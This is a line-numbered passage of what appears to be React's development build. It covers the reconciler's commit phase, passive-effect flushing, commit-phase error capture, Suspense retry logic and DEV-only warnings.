26696 // We've unwound all the way to the root.
26697 workInProgressRootExitStatus = RootDidNotComplete;
26698 workInProgress = null;
26699 return;
26700 }
26701 }
26702
26703 var siblingFiber = completedWork.sibling;
26704
26705 if (siblingFiber !== null) {
26706 // If there is more work to do in this returnFiber, do that next.
26707 workInProgress = siblingFiber;
26708 return;
26709 } // Otherwise, return to the parent
26710
26711
26712 completedWork = returnFiber; // Update the next thing we're working on in case something throws.
26713
26714 workInProgress = completedWork;
26715 } while (completedWork !== null); // We've reached the root.
26716
26717
26718 if (workInProgressRootExitStatus === RootInProgress) {
26719 workInProgressRootExitStatus = RootCompleted;
26720 }
26721 }
26722
26723 function commitRoot(root, recoverableErrors, transitions) {
26724 // TODO: This no longer makes any sense. We already wrap the mutation and
26725 // layout phases. Should be able to remove.
26726 var previousUpdateLanePriority = getCurrentUpdatePriority();
26727 var prevTransition = ReactCurrentBatchConfig$3.transition;
26728
26729 try {
26730 ReactCurrentBatchConfig$3.transition = null;
26731 setCurrentUpdatePriority(DiscreteEventPriority);
26732 commitRootImpl(root, recoverableErrors, transitions, previousUpdateLanePriority);
26733 } finally {
26734 ReactCurrentBatchConfig$3.transition = prevTransition;
26735 setCurrentUpdatePriority(previousUpdateLanePriority);
26736 }
26737
26738 return null;
26739 }
26740
26741 function commitRootImpl(root, recoverableErrors, transitions, renderPriorityLevel) {
26742 do {
26743 // `flushPassiveEffects` will call `flushSyncUpdateQueue` at the end, which
26744 // means `flushPassiveEffects` will sometimes result in additional
26745 // passive effects. So we need to keep flushing in a loop until there are
26746 // no more pending effects.
26747 // TODO: Might be better if `flushPassiveEffects` did not automatically
26748 // flush synchronous work at the end, to avoid factoring hazards like this.
26749 flushPassiveEffects();
26750 } while (rootWithPendingPassiveEffects !== null);
26751
26752 flushRenderPhaseStrictModeWarningsInDEV();
26753
26754 if ((executionContext & (RenderContext | CommitContext)) !== NoContext) {
26755 throw new Error('Should not already be working.');
26756 }
26757
26758 var finishedWork = root.finishedWork;
26759 var lanes = root.finishedLanes;
26760
26761 {
26762 markCommitStarted(lanes);
26763 }
26764
26765 if (finishedWork === null) {
26766
26767 {
26768 markCommitStopped();
26769 }
26770
26771 return null;
26772 } else {
26773 {
26774 if (lanes === NoLanes) {
26775 error('root.finishedLanes should not be empty during a commit. This is a ' + 'bug in React.');
26776 }
26777 }
26778 }
26779
26780 root.finishedWork = null;
26781 root.finishedLanes = NoLanes;
26782
26783 if (finishedWork === root.current) {
26784 throw new Error('Cannot commit the same tree as before. This error is likely caused by ' + 'a bug in React. Please file an issue.');
26785 } // commitRoot never returns a continuation; it always finishes synchronously.
26786 // So we can clear these now to allow a new callback to be scheduled.
26787
26788
26789 root.callbackNode = null;
26790 root.callbackPriority = NoLane; // Update the first and last pending times on this root. The new first
26791 // pending time is whatever is left on the root fiber.
26792
26793 var remainingLanes = mergeLanes(finishedWork.lanes, finishedWork.childLanes);
26794 markRootFinished(root, remainingLanes);
26795
26796 if (root === workInProgressRoot) {
26797 // We can reset these now that they are finished.
26798 workInProgressRoot = null;
26799 workInProgress = null;
26800 workInProgressRootRenderLanes = NoLanes;
26801 } // If there are pending passive effects, schedule a callback to process them.
26802 // Do this as early as possible, so it is queued before anything else that
26803 // might get scheduled in the commit phase. (See #16714.)
26804 // TODO: Delete all other places that schedule the passive effect callback
26805 // They're redundant.
26806
26807
26808 if ((finishedWork.subtreeFlags & PassiveMask) !== NoFlags || (finishedWork.flags & PassiveMask) !== NoFlags) {
26809 if (!rootDoesHavePassiveEffects) {
26810 rootDoesHavePassiveEffects = true;
26811 // to store it in pendingPassiveTransitions until they get processed
26812 // We need to pass this through as an argument to commitRoot
26813 // because workInProgressTransitions might have changed between
26814 // the previous render and commit if we throttle the commit
26815 // with setTimeout
26816
26817 pendingPassiveTransitions = transitions;
26818 scheduleCallback$1(NormalPriority, function () {
26819 flushPassiveEffects(); // This render triggered passive effects: release the root cache pool
26820 // *after* passive effects fire to avoid freeing a cache pool that may
26821 // be referenced by a node in the tree (HostRoot, Cache boundary etc)
26822
26823 return null;
26824 });
26825 }
26826 } // Check if there are any effects in the whole tree.
26827 // TODO: This is left over from the effect list implementation, where we had
26828 // to check for the existence of `firstEffect` to satisfy Flow. I think the
26829 // only other reason this optimization exists is because it affects profiling.
26830 // Reconsider whether this is necessary.
26831
26832
26833 var subtreeHasEffects = (finishedWork.subtreeFlags & (BeforeMutationMask | MutationMask | LayoutMask | PassiveMask)) !== NoFlags;
26834 var rootHasEffect = (finishedWork.flags & (BeforeMutationMask | MutationMask | LayoutMask | PassiveMask)) !== NoFlags;
26835
26836 if (subtreeHasEffects || rootHasEffect) {
26837 var prevTransition = ReactCurrentBatchConfig$3.transition;
26838 ReactCurrentBatchConfig$3.transition = null;
26839 var previousPriority = getCurrentUpdatePriority();
26840 setCurrentUpdatePriority(DiscreteEventPriority);
26841 var prevExecutionContext = executionContext;
26842 executionContext |= CommitContext; // Reset this to null before calling lifecycles
26843
26844 ReactCurrentOwner$2.current = null; // The commit phase is broken into several sub-phases. We do a separate pass
26845 // of the effect list for each phase: all mutation effects come before all
26846 // layout effects, and so on.
26847 // The first phase a "before mutation" phase. We use this phase to read the
26848 // state of the host tree right before we mutate it. This is where
26849 // getSnapshotBeforeUpdate is called.
26850
26851 var shouldFireAfterActiveInstanceBlur = commitBeforeMutationEffects(root, finishedWork);
26852
26853 {
26854 // Mark the current commit time to be shared by all Profilers in this
26855 // batch. This enables them to be grouped later.
26856 recordCommitTime();
26857 }
26858
26859
26860 commitMutationEffects(root, finishedWork, lanes);
26861
26862 resetAfterCommit(root.containerInfo); // The work-in-progress tree is now the current tree. This must come after
26863 // the mutation phase, so that the previous tree is still current during
26864 // componentWillUnmount, but before the layout phase, so that the finished
26865 // work is current during componentDidMount/Update.
26866
26867 root.current = finishedWork; // The next phase is the layout phase, where we call effects that read
26868
26869 {
26870 markLayoutEffectsStarted(lanes);
26871 }
26872
26873 commitLayoutEffects(finishedWork, root, lanes);
26874
26875 {
26876 markLayoutEffectsStopped();
26877 }
26878 // opportunity to paint.
26879
26880
26881 requestPaint();
26882 executionContext = prevExecutionContext; // Reset the priority to the previous non-sync value.
26883
26884 setCurrentUpdatePriority(previousPriority);
26885 ReactCurrentBatchConfig$3.transition = prevTransition;
26886 } else {
26887 // No effects.
26888 root.current = finishedWork; // Measure these anyway so the flamegraph explicitly shows that there were
26889 // no effects.
26890 // TODO: Maybe there's a better way to report this.
26891
26892 {
26893 recordCommitTime();
26894 }
26895 }
26896
26897 var rootDidHavePassiveEffects = rootDoesHavePassiveEffects;
26898
26899 if (rootDoesHavePassiveEffects) {
26900 // This commit has passive effects. Stash a reference to them. But don't
26901 // schedule a callback until after flushing layout work.
26902 rootDoesHavePassiveEffects = false;
26903 rootWithPendingPassiveEffects = root;
26904 pendingPassiveEffectsLanes = lanes;
26905 } else {
26906
26907 {
26908 nestedPassiveUpdateCount = 0;
26909 rootWithPassiveNestedUpdates = null;
26910 }
26911 } // Read this again, since an effect might have updated it
26912
26913
26914 remainingLanes = root.pendingLanes; // Check if there's remaining work on this root
26915 // TODO: This is part of the `componentDidCatch` implementation. Its purpose
26916 // is to detect whether something might have called setState inside
26917 // `componentDidCatch`. The mechanism is known to be flawed because `setState`
26918 // inside `componentDidCatch` is itself flawed — that's why we recommend
26919 // `getDerivedStateFromError` instead. However, it could be improved by
26920 // checking if remainingLanes includes Sync work, instead of whether there's
26921 // any work remaining at all (which would also include stuff like Suspense
26922 // retries or transitions). It's been like this for a while, though, so fixing
26923 // it probably isn't that urgent.
26924
26925 if (remainingLanes === NoLanes) {
26926 // If there's no remaining work, we can clear the set of already failed
26927 // error boundaries.
26928 legacyErrorBoundariesThatAlreadyFailed = null;
26929 }
26930
26931 {
26932 if (!rootDidHavePassiveEffects) {
26933 commitDoubleInvokeEffectsInDEV(root.current, false);
26934 }
26935 }
26936
26937 onCommitRoot(finishedWork.stateNode, renderPriorityLevel);
26938
26939 {
26940 if (isDevToolsPresent) {
26941 root.memoizedUpdaters.clear();
26942 }
26943 }
26944
26945 {
26946 onCommitRoot$1();
26947 } // Always call this before exiting `commitRoot`, to ensure that any
26948 // additional work on this root is scheduled.
26949
26950
26951 ensureRootIsScheduled(root, now());
26952
26953 if (recoverableErrors !== null) {
26954 // There were errors during this render, but recovered from them without
26955 // needing to surface it to the UI. We log them here.
26956 var onRecoverableError = root.onRecoverableError;
26957
26958 for (var i = 0; i < recoverableErrors.length; i++) {
26959 var recoverableError = recoverableErrors[i];
26960 var componentStack = recoverableError.stack;
26961 var digest = recoverableError.digest;
26962 onRecoverableError(recoverableError.value, {
26963 componentStack: componentStack,
26964 digest: digest
26965 });
26966 }
26967 }
26968
26969 if (hasUncaughtError) {
26970 hasUncaughtError = false;
26971 var error$1 = firstUncaughtError;
26972 firstUncaughtError = null;
26973 throw error$1;
26974 } // If the passive effects are the result of a discrete render, flush them
26975 // synchronously at the end of the current task so that the result is
26976 // immediately observable. Otherwise, we assume that they are not
26977 // order-dependent and do not need to be observed by external systems, so we
26978 // can wait until after paint.
26979 // TODO: We can optimize this by not scheduling the callback earlier. Since we
26980 // currently schedule the callback in multiple places, will wait until those
26981 // are consolidated.
26982
26983
26984 if (includesSomeLane(pendingPassiveEffectsLanes, SyncLane) && root.tag !== LegacyRoot) {
26985 flushPassiveEffects();
26986 } // Read this again, since a passive effect might have updated it
26987
26988
26989 remainingLanes = root.pendingLanes;
26990
26991 if (includesSomeLane(remainingLanes, SyncLane)) {
26992 {
26993 markNestedUpdateScheduled();
26994 } // Count the number of times the root synchronously re-renders without
26995 // finishing. If there are too many, it indicates an infinite update loop.
26996
26997
26998 if (root === rootWithNestedUpdates) {
26999 nestedUpdateCount++;
27000 } else {
27001 nestedUpdateCount = 0;
27002 rootWithNestedUpdates = root;
27003 }
27004 } else {
27005 nestedUpdateCount = 0;
27006 } // If layout work was scheduled, flush it now.
27007
27008
27009 flushSyncCallbacks();
27010
27011 {
27012 markCommitStopped();
27013 }
27014
27015 return null;
27016 }
27017
27018 function flushPassiveEffects() {
27019 // Returns whether passive effects were flushed.
27020 // TODO: Combine this check with the one in flushPassiveEFfectsImpl. We should
27021 // probably just combine the two functions. I believe they were only separate
27022 // in the first place because we used to wrap it with
27023 // `Scheduler.runWithPriority`, which accepts a function. But now we track the
27024 // priority within React itself, so we can mutate the variable directly.
27025 if (rootWithPendingPassiveEffects !== null) {
27026 var renderPriority = lanesToEventPriority(pendingPassiveEffectsLanes);
27027 var priority = lowerEventPriority(DefaultEventPriority, renderPriority);
27028 var prevTransition = ReactCurrentBatchConfig$3.transition;
27029 var previousPriority = getCurrentUpdatePriority();
27030
27031 try {
27032 ReactCurrentBatchConfig$3.transition = null;
27033 setCurrentUpdatePriority(priority);
27034 return flushPassiveEffectsImpl();
27035 } finally {
27036 setCurrentUpdatePriority(previousPriority);
27037 ReactCurrentBatchConfig$3.transition = prevTransition; // Once passive effects have run for the tree - giving components a
27038 }
27039 }
27040
27041 return false;
27042 }
27043 function enqueuePendingPassiveProfilerEffect(fiber) {
27044 {
27045 pendingPassiveProfilerEffects.push(fiber);
27046
27047 if (!rootDoesHavePassiveEffects) {
27048 rootDoesHavePassiveEffects = true;
27049 scheduleCallback$1(NormalPriority, function () {
27050 flushPassiveEffects();
27051 return null;
27052 });
27053 }
27054 }
27055 }
27056
27057 function flushPassiveEffectsImpl() {
27058 if (rootWithPendingPassiveEffects === null) {
27059 return false;
27060 } // Cache and clear the transitions flag
27061
27062
27063 var transitions = pendingPassiveTransitions;
27064 pendingPassiveTransitions = null;
27065 var root = rootWithPendingPassiveEffects;
27066 var lanes = pendingPassiveEffectsLanes;
27067 rootWithPendingPassiveEffects = null; // TODO: This is sometimes out of sync with rootWithPendingPassiveEffects.
27068 // Figure out why and fix it. It's not causing any known issues (probably
27069 // because it's only used for profiling), but it's a refactor hazard.
27070
27071 pendingPassiveEffectsLanes = NoLanes;
27072
27073 if ((executionContext & (RenderContext | CommitContext)) !== NoContext) {
27074 throw new Error('Cannot flush passive effects while already rendering.');
27075 }
27076
27077 {
27078 isFlushingPassiveEffects = true;
27079 didScheduleUpdateDuringPassiveEffects = false;
27080 }
27081
27082 {
27083 markPassiveEffectsStarted(lanes);
27084 }
27085
27086 var prevExecutionContext = executionContext;
27087 executionContext |= CommitContext;
27088 commitPassiveUnmountEffects(root.current);
27089 commitPassiveMountEffects(root, root.current, lanes, transitions); // TODO: Move to commitPassiveMountEffects
27090
27091 {
27092 var profilerEffects = pendingPassiveProfilerEffects;
27093 pendingPassiveProfilerEffects = [];
27094
27095 for (var i = 0; i < profilerEffects.length; i++) {
27096 var _fiber = profilerEffects[i];
27097 commitPassiveEffectDurations(root, _fiber);
27098 }
27099 }
27100
27101 {
27102 markPassiveEffectsStopped();
27103 }
27104
27105 {
27106 commitDoubleInvokeEffectsInDEV(root.current, true);
27107 }
27108
27109 executionContext = prevExecutionContext;
27110 flushSyncCallbacks();
27111
27112 {
27113 // If additional passive effects were scheduled, increment a counter. If this
27114 // exceeds the limit, we'll fire a warning.
27115 if (didScheduleUpdateDuringPassiveEffects) {
27116 if (root === rootWithPassiveNestedUpdates) {
27117 nestedPassiveUpdateCount++;
27118 } else {
27119 nestedPassiveUpdateCount = 0;
27120 rootWithPassiveNestedUpdates = root;
27121 }
27122 } else {
27123 nestedPassiveUpdateCount = 0;
27124 }
27125
27126 isFlushingPassiveEffects = false;
27127 didScheduleUpdateDuringPassiveEffects = false;
27128 } // TODO: Move to commitPassiveMountEffects
27129
27130
27131 onPostCommitRoot(root);
27132
27133 {
27134 var stateNode = root.current.stateNode;
27135 stateNode.effectDuration = 0;
27136 stateNode.passiveEffectDuration = 0;
27137 }
27138
27139 return true;
27140 }
27141
27142 function isAlreadyFailedLegacyErrorBoundary(instance) {
27143 return legacyErrorBoundariesThatAlreadyFailed !== null && legacyErrorBoundariesThatAlreadyFailed.has(instance);
27144 }
27145 function markLegacyErrorBoundaryAsFailed(instance) {
27146 if (legacyErrorBoundariesThatAlreadyFailed === null) {
27147 legacyErrorBoundariesThatAlreadyFailed = new Set([instance]);
27148 } else {
27149 legacyErrorBoundariesThatAlreadyFailed.add(instance);
27150 }
27151 }
27152
27153 function prepareToThrowUncaughtError(error) {
27154 if (!hasUncaughtError) {
27155 hasUncaughtError = true;
27156 firstUncaughtError = error;
27157 }
27158 }
27159
27160 var onUncaughtError = prepareToThrowUncaughtError;
27161
27162 function captureCommitPhaseErrorOnRoot(rootFiber, sourceFiber, error) {
27163 var errorInfo = createCapturedValueAtFiber(error, sourceFiber);
27164 var update = createRootErrorUpdate(rootFiber, errorInfo, SyncLane);
27165 var root = enqueueUpdate(rootFiber, update, SyncLane);
27166 var eventTime = requestEventTime();
27167
27168 if (root !== null) {
27169 markRootUpdated(root, SyncLane, eventTime);
27170 ensureRootIsScheduled(root, eventTime);
27171 }
27172 }
27173
27174 function captureCommitPhaseError(sourceFiber, nearestMountedAncestor, error$1) {
27175 {
27176 reportUncaughtErrorInDEV(error$1);
27177 setIsRunningInsertionEffect(false);
27178 }
27179
27180 if (sourceFiber.tag === HostRoot) {
27181 // Error was thrown at the root. There is no parent, so the root
27182 // itself should capture it.
27183 captureCommitPhaseErrorOnRoot(sourceFiber, sourceFiber, error$1);
27184 return;
27185 }
27186
27187 var fiber = null;
27188
27189 {
27190 fiber = nearestMountedAncestor;
27191 }
27192
27193 while (fiber !== null) {
27194 if (fiber.tag === HostRoot) {
27195 captureCommitPhaseErrorOnRoot(fiber, sourceFiber, error$1);
27196 return;
27197 } else if (fiber.tag === ClassComponent) {
27198 var ctor = fiber.type;
27199 var instance = fiber.stateNode;
27200
27201 if (typeof ctor.getDerivedStateFromError === 'function' || typeof instance.componentDidCatch === 'function' && !isAlreadyFailedLegacyErrorBoundary(instance)) {
27202 var errorInfo = createCapturedValueAtFiber(error$1, sourceFiber);
27203 var update = createClassErrorUpdate(fiber, errorInfo, SyncLane);
27204 var root = enqueueUpdate(fiber, update, SyncLane);
27205 var eventTime = requestEventTime();
27206
27207 if (root !== null) {
27208 markRootUpdated(root, SyncLane, eventTime);
27209 ensureRootIsScheduled(root, eventTime);
27210 }
27211
27212 return;
27213 }
27214 }
27215
27216 fiber = fiber.return;
27217 }
27218
27219 {
27220 // TODO: Until we re-land skipUnmountedBoundaries (see #20147), this warning
27221 // will fire for errors that are thrown by destroy functions inside deleted
27222 // trees. What it should instead do is propagate the error to the parent of
27223 // the deleted tree. In the meantime, do not add this warning to the
27224 // allowlist; this is only for our internal use.
27225 error('Internal React error: Attempted to capture a commit phase error ' + 'inside a detached tree. This indicates a bug in React. Likely ' + 'causes include deleting the same fiber more than once, committing an ' + 'already-finished tree, or an inconsistent return pointer.\n\n' + 'Error message:\n\n%s', error$1);
27226 }
27227 }
27228 function pingSuspendedRoot(root, wakeable, pingedLanes) {
27229 var pingCache = root.pingCache;
27230
27231 if (pingCache !== null) {
27232 // The wakeable resolved, so we no longer need to memoize, because it will
27233 // never be thrown again.
27234 pingCache.delete(wakeable);
27235 }
27236
27237 var eventTime = requestEventTime();
27238 markRootPinged(root, pingedLanes);
27239 warnIfSuspenseResolutionNotWrappedWithActDEV(root);
27240
27241 if (workInProgressRoot === root && isSubsetOfLanes(workInProgressRootRenderLanes, pingedLanes)) {
27242 // Received a ping at the same priority level at which we're currently
27243 // rendering. We might want to restart this render. This should mirror
27244 // the logic of whether or not a root suspends once it completes.
27245 // TODO: If we're rendering sync either due to Sync, Batched or expired,
27246 // we should probably never restart.
27247 // If we're suspended with delay, or if it's a retry, we'll always suspend
27248 // so we can always restart.
27249 if (workInProgressRootExitStatus === RootSuspendedWithDelay || workInProgressRootExitStatus === RootSuspended && includesOnlyRetries(workInProgressRootRenderLanes) && now() - globalMostRecentFallbackTime < FALLBACK_THROTTLE_MS) {
27250 // Restart from the root.
27251 prepareFreshStack(root, NoLanes);
27252 } else {
27253 // Even though we can't restart right now, we might get an
27254 // opportunity later. So we mark this render as having a ping.
27255 workInProgressRootPingedLanes = mergeLanes(workInProgressRootPingedLanes, pingedLanes);
27256 }
27257 }
27258
27259 ensureRootIsScheduled(root, eventTime);
27260 }
27261
27262 function retryTimedOutBoundary(boundaryFiber, retryLane) {
27263 // The boundary fiber (a Suspense component or SuspenseList component)
27264 // previously was rendered in its fallback state. One of the promises that
27265 // suspended it has resolved, which means at least part of the tree was
27266 // likely unblocked. Try rendering again, at a new lanes.
27267 if (retryLane === NoLane) {
27268 // TODO: Assign this to `suspenseState.retryLane`? to avoid
27269 // unnecessary entanglement?
27270 retryLane = requestRetryLane(boundaryFiber);
27271 } // TODO: Special case idle priority?
27272
27273
27274 var eventTime = requestEventTime();
27275 var root = enqueueConcurrentRenderForLane(boundaryFiber, retryLane);
27276
27277 if (root !== null) {
27278 markRootUpdated(root, retryLane, eventTime);
27279 ensureRootIsScheduled(root, eventTime);
27280 }
27281 }
27282
27283 function retryDehydratedSuspenseBoundary(boundaryFiber) {
27284 var suspenseState = boundaryFiber.memoizedState;
27285 var retryLane = NoLane;
27286
27287 if (suspenseState !== null) {
27288 retryLane = suspenseState.retryLane;
27289 }
27290
27291 retryTimedOutBoundary(boundaryFiber, retryLane);
27292 }
27293 function resolveRetryWakeable(boundaryFiber, wakeable) {
27294 var retryLane = NoLane; // Default
27295
27296 var retryCache;
27297
27298 switch (boundaryFiber.tag) {
27299 case SuspenseComponent:
27300 retryCache = boundaryFiber.stateNode;
27301 var suspenseState = boundaryFiber.memoizedState;
27302
27303 if (suspenseState !== null) {
27304 retryLane = suspenseState.retryLane;
27305 }
27306
27307 break;
27308
27309 case SuspenseListComponent:
27310 retryCache = boundaryFiber.stateNode;
27311 break;
27312
27313 default:
27314 throw new Error('Pinged unknown suspense boundary type. ' + 'This is probably a bug in React.');
27315 }
27316
27317 if (retryCache !== null) {
27318 // The wakeable resolved, so we no longer need to memoize, because it will
27319 // never be thrown again.
27320 retryCache.delete(wakeable);
27321 }
27322
27323 retryTimedOutBoundary(boundaryFiber, retryLane);
27324 } // Computes the next Just Noticeable Difference (JND) boundary.
27325 // The theory is that a person can't tell the difference between small differences in time.
27326 // Therefore, if we wait a bit longer than necessary that won't translate to a noticeable
27327 // difference in the experience. However, waiting for longer might mean that we can avoid
27328 // showing an intermediate loading state. The longer we have already waited, the harder it
27329 // is to tell small differences in time. Therefore, the longer we've already waited,
27330 // the longer we can wait additionally. At some point we have to give up though.
27331 // We pick a train model where the next boundary commits at a consistent schedule.
27332 // These particular numbers are vague estimates. We expect to adjust them based on research.
27333
27334 function jnd(timeElapsed) {
27335 return timeElapsed < 120 ? 120 : timeElapsed < 480 ? 480 : timeElapsed < 1080 ? 1080 : timeElapsed < 1920 ? 1920 : timeElapsed < 3000 ? 3000 : timeElapsed < 4320 ? 4320 : ceil(timeElapsed / 1960) * 1960;
27336 }
27337
27338 function checkForNestedUpdates() {
27339 if (nestedUpdateCount > NESTED_UPDATE_LIMIT) {
27340 nestedUpdateCount = 0;
27341 rootWithNestedUpdates = null;
27342 throw new Error('Maximum update depth exceeded. This can happen when a component ' + 'repeatedly calls setState inside componentWillUpdate or ' + 'componentDidUpdate. React limits the number of nested updates to ' + 'prevent infinite loops.');
27343 }
27344
27345 {
27346 if (nestedPassiveUpdateCount > NESTED_PASSIVE_UPDATE_LIMIT) {
27347 nestedPassiveUpdateCount = 0;
27348 rootWithPassiveNestedUpdates = null;
27349
27350 error('Maximum update depth exceeded. This can happen when a component ' + "calls setState inside useEffect, but useEffect either doesn't " + 'have a dependency array, or one of the dependencies changes on ' + 'every render.');
27351 }
27352 }
27353 }
27354
27355 function flushRenderPhaseStrictModeWarningsInDEV() {
27356 {
27357 ReactStrictModeWarnings.flushLegacyContextWarning();
27358
27359 {
27360 ReactStrictModeWarnings.flushPendingUnsafeLifecycleWarnings();
27361 }
27362 }
27363 }
27364
27365 function commitDoubleInvokeEffectsInDEV(fiber, hasPassiveEffects) {
27366 {
27367 // TODO (StrictEffects) Should we set a marker on the root if it contains strict effects
27368 // so we don't traverse unnecessarily? similar to subtreeFlags but just at the root level.
27369 // Maybe not a big deal since this is DEV only behavior.
27370 setCurrentFiber(fiber);
27371 invokeEffectsInDev(fiber, MountLayoutDev, invokeLayoutEffectUnmountInDEV);
27372
27373 if (hasPassiveEffects) {
27374 invokeEffectsInDev(fiber, MountPassiveDev, invokePassiveEffectUnmountInDEV);
27375 }
27376
27377 invokeEffectsInDev(fiber, MountLayoutDev, invokeLayoutEffectMountInDEV);
27378
27379 if (hasPassiveEffects) {
27380 invokeEffectsInDev(fiber, MountPassiveDev, invokePassiveEffectMountInDEV);
27381 }
27382
27383 resetCurrentFiber();
27384 }
27385 }
27386
27387 function invokeEffectsInDev(firstChild, fiberFlags, invokeEffectFn) {
27388 {
27389 // We don't need to re-check StrictEffectsMode here.
27390 // This function is only called if that check has already passed.
27391 var current = firstChild;
27392 var subtreeRoot = null;
27393
27394 while (current !== null) {
27395 var primarySubtreeFlag = current.subtreeFlags & fiberFlags;
27396
27397 if (current !== subtreeRoot && current.child !== null && primarySubtreeFlag !== NoFlags) {
27398 current = current.child;
27399 } else {
27400 if ((current.flags & fiberFlags) !== NoFlags) {
27401 invokeEffectFn(current);
27402 }
27403
27404 if (current.sibling !== null) {
27405 current = current.sibling;
27406 } else {
27407 current = subtreeRoot = current.return;
27408 }
27409 }
27410 }
27411 }
27412 }
27413
27414 var didWarnStateUpdateForNotYetMountedComponent = null;
27415 function warnAboutUpdateOnNotYetMountedFiberInDEV(fiber) {
27416 {
27417 if ((executionContext & RenderContext) !== NoContext) {
27418 // We let the other warning about render phase updates deal with this one.
27419 return;
27420 }
27421
27422 if (!(fiber.mode & ConcurrentMode)) {
27423 return;
27424 }
27425
27426 var tag = fiber.tag;
27427
27428 if (tag !== IndeterminateComponent && tag !== HostRoot && tag !== ClassComponent && tag !== FunctionComponent && tag !== ForwardRef && tag !== MemoComponent && tag !== SimpleMemoComponent) {
27429 // Only warn for user-defined components, not internal ones like Suspense.
27430 return;
27431 } // We show the whole stack but dedupe on the top component's name because
27432 // the problematic code almost always lies inside that component.
27433
27434
27435 var componentName = getComponentNameFromFiber(fiber) || 'ReactComponent';
27436
27437 if (didWarnStateUpdateForNotYetMountedComponent !== null) {
27438 if (didWarnStateUpdateForNotYetMountedComponent.has(componentName)) {
27439 return;
27440 }
27441
27442 didWarnStateUpdateForNotYetMountedComponent.add(componentName);
27443 } else {
27444 didWarnStateUpdateForNotYetMountedComponent = new Set([componentName]);
27445 }
27446
27447 var previousFiber = current;
27448
27449 try {
27450 setCurrentFiber(fiber);
27451
27452 error("Can't perform a React state update on a component that hasn't mounted yet. " + 'This indicates that you have a side-effect in your render function that ' + 'asynchronously later calls tries to update the component. Move this work to ' + 'useEffect instead.');
27453 } finally {
27454 if (previousFiber) {
27455 setCurrentFiber(fiber);
27456 } else {
27457 resetCurrentFiber();
27458 }
27459 }
27460 }
27461 }
27462 var beginWork$1;
27463
27464 {
27465 var dummyFiber = null;
27466
27467 beginWork$1 = function (current, unitOfWork, lanes) {
27468 // If a component throws an error, we replay it again in a synchronously
27469 // dispatched event, so that the debugger will treat it as an uncaught
27470 // error See ReactErrorUtils for more information.
27471 // Before entering the begin phase, copy the work-in-progress onto a dummy
27472 // fiber. If beginWork throws, we'll use this to reset the state.
27473 var originalWorkInProgressCopy = assignFiberPropertiesInDEV(dummyFiber, unitOfWork);
27474
27475 try {
27476 return beginWork(current, unitOfWork, lanes);
27477 } catch (originalError) {
27478 if (didSuspendOrErrorWhileHydratingDEV() || originalError !== null && typeof originalError === 'object' && typeof originalError.then === 'function') {
27479 // Don't replay promises.
27480 // Don't replay errors if we are hydrating and have already suspended or handled an error
27481 throw originalError;
27482 } // Keep this code in sync with handleError; any changes here must have
27483 // corresponding changes there.
27484
27485
27486 resetContextDependencies();
27487 resetHooksAfterThrow(); // Don't reset current debug fiber, since we're about to work on the
27488 // same fiber again.
27489 // Unwind the failed stack frame
27490
27491 unwindInterruptedWork(current, unitOfWork); // Restore the original properties of the fiber.
27492
27493 assignFiberPropertiesInDEV(unitOfWork, originalWorkInProgressCopy);
27494
27495 if ( unitOfWork.mode & ProfileMode) {
27496 // Reset the profiler timer.
27497 startProfilerTimer(unitOfWork);
27498 } // Run beginWork again.
27499
27500
27501 invokeGuardedCallback(null, beginWork, null, current, unitOfWork, lanes);
27502
27503 if (hasCaughtError()) {
27504 var replayError = clearCaughtError();
27505
27506 if (typeof replayError === 'object' && replayError !== null && replayError._suppressLogging && typeof originalError === 'object' && originalError !== null && !originalError._suppressLogging) {
27507 // If suppressed, let the flag carry over to the original error which is the one we'll rethrow.
27508 originalError._suppressLogging = true;
27509 }
27510 } // We always throw the original error in case the second render pass is not idempotent.
27511 // This can happen if a memoized function or CommonJS module doesn't throw after first invocation.
27512
27513
27514 throw originalError;
27515 }
27516 };
27517 }
27518
27519 var didWarnAboutUpdateInRender = false;
27520 var didWarnAboutUpdateInRenderForAnotherComponent;
27521
27522 {
27523 didWarnAboutUpdateInRenderForAnotherComponent = new Set();
27524 }
27525
27526 function warnAboutRenderPhaseUpdatesInDEV(fiber) {
27527 {
27528 if (isRendering && !getIsUpdatingOpaqueValueInRenderPhaseInDEV()) {
27529 switch (fiber.tag) {
27530 case FunctionComponent:
27531 case ForwardRef:
27532 case SimpleMemoComponent:
27533 {
27534 var renderingComponentName = workInProgress && getComponentNameFromFiber(workInProgress) || 'Unknown'; // Dedupe by the rendering component because it's the one that needs to be fixed.
27535
27536 var dedupeKey = renderingComponentName;
27537
27538 if (!didWarnAboutUpdateInRenderForAnotherComponent.has(dedupeKey)) {
27539 didWarnAboutUpdateInRenderForAnotherComponent.add(dedupeKey);
27540 var setStateComponentName = getComponentNameFromFiber(fiber) || 'Unknown';
27541
27542 error('Cannot update a component (`%s`) while rendering a ' + 'different component (`%s`). To locate the bad setState() call inside `%s`, ' + 'follow the stack trace as described in https://reactjs.org/link/setstate-in-render', setStateComponentName, renderingComponentName, renderingComponentName);
27543 }
27544
27545 break;
27546 }
27547
27548 case ClassComponent:
27549 {
27550 if (!didWarnAboutUpdateInRender) {
27551 error('Cannot update during an existing state transition (such as ' + 'within `render`). Render methods should be a pure ' + 'function of props and state.');
27552
27553 didWarnAboutUpdateInRender = true;
27554 }
27555
27556 break;
27557 }
27558 }
27559 }
27560 }
27561 }
27562
27563 function restorePendingUpdaters(root, lanes) {
27564 {
27565 if (isDevToolsPresent) {
27566 var memoizedUpdaters = root.memoizedUpdaters;
27567 memoizedUpdaters.forEach(function (schedulingFiber) {
27568 addFiberToLanesMap(root, schedulingFiber, lanes);
27569 }); // This function intentionally does not clear memoized updaters.
27570 // Those may still be relevant to the current commit
27571 // and a future one (e.g. Suspense).
27572 }
27573 }
27574 }
27575 var fakeActCallbackNode = {};
27576
27577 function scheduleCallback$1(priorityLevel, callback) {
27578 {
27579 // If we're currently inside an `act` scope, bypass Scheduler and push to
27580 // the `act` queue instead.
27581 var actQueue = ReactCurrentActQueue$1.current;
27582
27583 if (actQueue !== null) {
27584 actQueue.push(callback);
27585 return fakeActCallbackNode;
27586 } else {
27587 return scheduleCallback(priorityLevel, callback);
27588 }
27589 }
27590 }
27591
27592 function cancelCallback$1(callbackNode) {
27593 if ( callbackNode === fakeActCallbackNode) {
27594 return;
27595 } // In production, always call Scheduler. This function will be stripped out.
27596
27597
27598 return cancelCallback(callbackNode);
27599 }
27600
27601 function shouldForceFlushFallbacksInDEV() {
27602 // Never force flush in production. This function should get stripped out.
27603 return ReactCurrentActQueue$1.current !== null;
27604 }
27605
27606 function warnIfUpdatesNotWrappedWithActDEV(fiber) {
27607 {
27608 if (fiber.mode & ConcurrentMode) {
